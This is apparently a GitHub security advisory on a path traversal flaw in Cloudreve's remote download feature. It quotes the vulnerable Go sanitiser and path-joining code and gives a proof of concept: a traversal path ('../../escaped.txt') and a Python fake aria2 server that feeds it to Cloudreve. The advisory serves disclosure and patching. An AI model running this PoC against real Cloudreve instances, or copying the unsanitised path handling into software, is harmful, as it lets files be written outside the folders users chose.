GHSA-w8j7-39hp-8x59: Path Traversal

Summary

Cloudreve trusts file paths returned by the configured remote downloader. A downloader-reported path such as ../../escaped.txt can cause a downloaded file to be created outside the user-selected destination directory.

Details

In the remote download master transfer path, Cloudreve joins the user-selected destination URI with the downloader-reported file name.

go // pkg/filemanager/workflows/remotedownload.go:436-438 sanitizedName := sanitizeFileName(file.Name) dst := dstUri.JoinRaw(sanitizedName) src := filepath.FromSlash(path.Join(m.state.Status.SavePath, file.Name))

The same issue also exists when constructing slave upload payloads.

go // pkg/filemanager/workflows/remotedownload.go:323-327 dst := dstUri.JoinRaw(sanitizeFileName(f.Name)) src := path.Join(m.state.Status.SavePath, f.Name) payload.Files = append(payload.Files, SlaveUploadEntity{ Src: src, Uri: dst,

The sanitizer does not remove /, ., or .. path segments.

go // pkg/filemanager/workflows/remotedownload.go:648-650 func sanitizeFileName(name string) string { r := strings.NewReplacer("\\", "", ":", "", "", "", "?", "", "\"", "", "<", "", ">", "", "|", "") return r.Replace(name) }

JoinRaw() splits the raw string by / and joins the segments, allowing .. to affect the final URI path.

go // pkg/filemanager/fs/uri.go:173-175 func (u URI) JoinRaw(elem string) URI { return u.Join(strings.Split(strings.TrimPrefix(elem, Separator), Separator)...) }

For aria2, Cloudreve derives downloader.TaskFile.Name from the path returned by aria2.tellStatus().files[].path.

go // pkg/downloader/aria2/aria2.go:148-159 relPath := strings.TrimPrefix(filepath.ToSlash(item.Path), savePath) if len(relPath) > 0 { relPath = relPath[1:] } return downloader.TaskFile{ Index: index, Name: relPath,

Therefore, if the selected destination is: cloudreve://my/victim/safe, the downloader reports ../../escaped.txt, the final upload destination becomes cloudreve://my/escaped.txt

The issue can move the final Cloudreve URI further up the user’s any accessible namespace, but is subject to Cloudreve’s normal permission and upload checks.

PoC

The PoC uses a fake aria2 JSON-RPC service to simulate a downloader returning a traversal path. The vulnerable input is downloader metadata returned by the downloader API, not the HTTP response body of the downloaded URL.

Setup:

text Cloudreve official Docker image PostgreSQL Redis Fake aria2 JSON-RPC service

Configure the master node in the Cloudreve admin UI:

text Remote download capability: enabled Downloader provider: aria2 aria2 RPC server: http://fake-aria2:6800/jsonrpc aria2 token: empty

Create this folder structure in the file manager:

text My files / victim / safe /

Create a remote download task using any URL in the victim/safe directory, for example:

text http://attacker.invalid/file

The fake aria2 service returns:

text files[0].path = <saveDir>/../../escaped.txt

Expected result after the remote download task completes:

text cloudreve://my/escaped.txt exists

This demonstrates that the downloaded file escapes both the selected destination directory and its parent directory.

Impact

If a configured remote downloader returns malicious file metadata, Cloudreve may create downloaded files outside the destination directory selected by the user who starts the remote download task.

This affects authenticated users who have remote-download permission and create remote download tasks. The resulting file is still subject to Cloudreve’s normal upload and permission checks, but it may be placed in an unexpected writable location outside the selected folder.

Appendix: fakearia2.py

python import json import os from http.server import BaseHTTPRequestHandler, HTTPServer

GID = "0123456789abcdef" CONTENT = b"created outside the selected Cloudreve destination\n" savedir = "/cloudreve/data/temp/aria2/poc-final"

def writesourcefile(): source = os.path.normpath(os.path.join(savedir, "..", "..", "escaped.txt")) os.makedirs(os.path.dirname(source), existok=True) with open(source, "wb") as f: f.write(CONTENT) print(f"fake aria2 source file: {source}", flush=True)

def response(rpcid, result): return json.dumps({"jsonrpc": "2.0", "id": rpcid, "result": result}).encode()

class Handler(BaseHTTPRequestHandler): def doPOST(self): global savedir

raw = self.rfile.read(int(self.headers.get("Content-Length", "0"))) req = json.loads(raw or b"{}") method = req.get("method") rpcid = req.get("id")

if method == "aria2.addUri": for item in req.get("params", []): if isinstance(item, dict) and item.get("dir"): savedir = item["dir"] break writesourcefile() result = GID elif method == "aria2.tellStatus": result = { "gid": GID, "status": "complete", "totalLength": str(len(CONTENT)), "completedLength": str(len(CONTENT)), "uploadLength": "0", "downloadSpeed": "0", "uploadSpeed": "0", "infoHash": "", "numPieces": "1", "dir": savedir, "files": [ { "index": "1", "path": f"{savedir}/../../escaped.txt", "length": str(len(CONTENT)), "completedLength": str(len(CONTENT)), "selected": "true", "uris": [], } ], "bittorrent": {"mode": "single", "info": {"name": "poc-final"}}, } elif method == "aria2.getVersion": result = {"version": "fake-poc-final", "enabledFeatures": []} else: result = "OK"

body = response(rpcid, result) self.sendresponse(200) self.sendheader("Content-Type", "application/json") self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)

def logmessage(self, fmt, args): return

if name == "main": print("fake aria2 JSON-RPC listening on :6800", flush=True) HTTPServer(("0.0.0.0", 6800), Handler).serveforever()